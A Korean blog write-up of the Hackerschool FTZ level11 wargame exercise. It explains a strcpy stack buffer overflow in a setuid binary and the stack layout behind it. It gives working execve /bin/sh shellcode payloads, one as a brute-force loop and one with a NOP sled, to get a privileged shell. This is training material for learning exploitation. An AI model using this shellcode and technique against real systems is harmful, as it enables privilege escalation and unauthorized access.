-->

[해커스쿨 FTZ] level11 풀이

y2017년에 옛날 블로그에 작성했던 FTZ 풀이를 level11부터 옮깁니다.

 

 

FTZ level11 문제 확인

FTZ Level11 부터는 bof로 풀 수 있는 문제들이 나온다. 디렉토리에 있는 파일들을 먼저 살펴보면, attackme라는 취약점이 존재하는 바이너리가 있고 setuid가 걸려있는 것으로 보인다.

 

그리고 hint 파일이 있는데  attackme의 소스코드인 것 같고 살펴보면 bof에 취약한 strcpy 함수를 사용하고 있다. char형 배열 str은 256 크기를 갖고 있는데 strcpy로 길이체크가 수행되지 않은 argv[1]을 str로 복사하고 있으니 버퍼오버플로우 취약점을 갖고 있는 것을 쉽게 확인할 수 있다.

 

 

 

여기서 한가지 알고 넘어가야 할 것은, 해당 바이너리의 취약점을 실행해서 쉘을 실행시켰을 경우 level12의 패스워드를 알아낼 수 있는 이유는 attackme에 setreuid가 걸려있기 때문이다. setreuid가 걸려있으면 해당 프로세스가 실행중인 동안에는 setreuid로 설정해준 권한으로 상승하기 때문이다.

 

즉, 3092는 level12의 uid이고 따라서 attackme를 실행중에는 일시적으로 level12의 권한을 갖게되는 것이다. 그렇다면, attackme의 취약점을 이용해 쉘을 실행시키면? level12 권한으로 쉘을 실행시킨 것이기 때문에 level12의 비밀번호에 접근할 수 있게되는 것이다.

 

int main(int argc, char **argv)
{
    setreuid(0,0); // ruid, euid를 root로 설정  
    system("/bin/sh"); // root 권한으로 쉘이 실행됨
    
    // ...
}

 

 

FTZ level11 문제 풀이

먼저 gdb로 실행 시, "Couldn't get registers: Operation not permitted." 에러가 발생하기 때문에 attackme 바이너리는 tmp로 복사 후 분석하도록 한다.

 

gdb로 실행시켜보면, strcpy 함수를 호출하는 부분을 쉽게 확인할 수 있다.

 

 

 

strcpy 호출 바로 다음인 <main+53>에 bp를 걸어준 후 실행 인자에 "AAAA..."를 넘겨 버퍼의 시작 위치를 확인한다. 0x41414141이 확인되는 str 버퍼의 시작 주소는 0xbfffe600 이다. 

 

 

 

하지만 랜덤스택이기 때문에 해당 버퍼 주소는 아래와 같이 계속 바뀐다.

 

 

 

버퍼주소는 계속 바뀌지만, 일단 첫번째 버퍼 주소일 때 스택 상황은 아래와 같다.

 

buffer (str) : 256바이트 (0x100)
dummy : 8바이트
SFP : 4바이트
RET : 4바이트

 

 

위 상황에서 str 버퍼에 쉘코드를 넣게 되면 아래와 같이 구성할 수 있다.

 

ShellCode (24바이트)
+A*244 (268-24=244바이트)
+\xb0\xed\xff\xbf (RET, 4바이트)

 

 

랜덤스택일 때, bof를 수행하는 여러 방법이 있는데 대표적으로는 아예 명령라인에서 무한반복을 수행하는 방법, Nop Sled를 사용하는 방법, 환경변수에 쉘코드를 사용하는 방법 등이 있다. 여기선 무산반복을 수행하는 방법, Nop Sled를 사용하는 방법 두가지 방법을 소개하고 환경변수는 다음 bof에서 사용해볼 것이다.

 

 

무한반복

while [ 1 ]; do 문을 사용해서 아래와 같이 str 첫부분에 올려둔 쉘코드의 위치가 리턴주소에 덮어준 주소가 되는 상황이 한번쯤은 있기를 기도... 하면서 무한반복하는 방법이다. 

 

while [ 1 ]; do ./attackme 
`python -c 'print 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"A"*244
+"\x50\xfb\xff\xbf"'`
; done

 

별로 추천하지는 않는다.

 

 

 

NOP Sled 태우기

쉘코드 앞에 Nop Sled를 태우는 방법이다. RET에 있는 주소로 갔는데 NOP이 있으면 마치 썰매를 타듯 NOP이 끝날때까지 쭉 내려간다고 해서, NOP Sled라고 부른다.

 

A로 채웠던 244바이트를 전부 \x90으로 바꿔서 쉘코드 앞에 채워주자.

 

`python -c 'print 
"\x90"*244
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"\x50\xfb\xff\xbf"'`

 

 

FTZ level11 문제 해결

위에 NOP Sled 태우기에 있던 방법을 사용하면 아래와 같이 쉘을 얻을 수 있다. my-pass를 입력하면 해커스쿨 FTZ level12로 가는 비밀번호를 알 수 있다. 

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level13 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level12 풀이  (0) 2020.02.13

댓글

Designed by JB FACTORY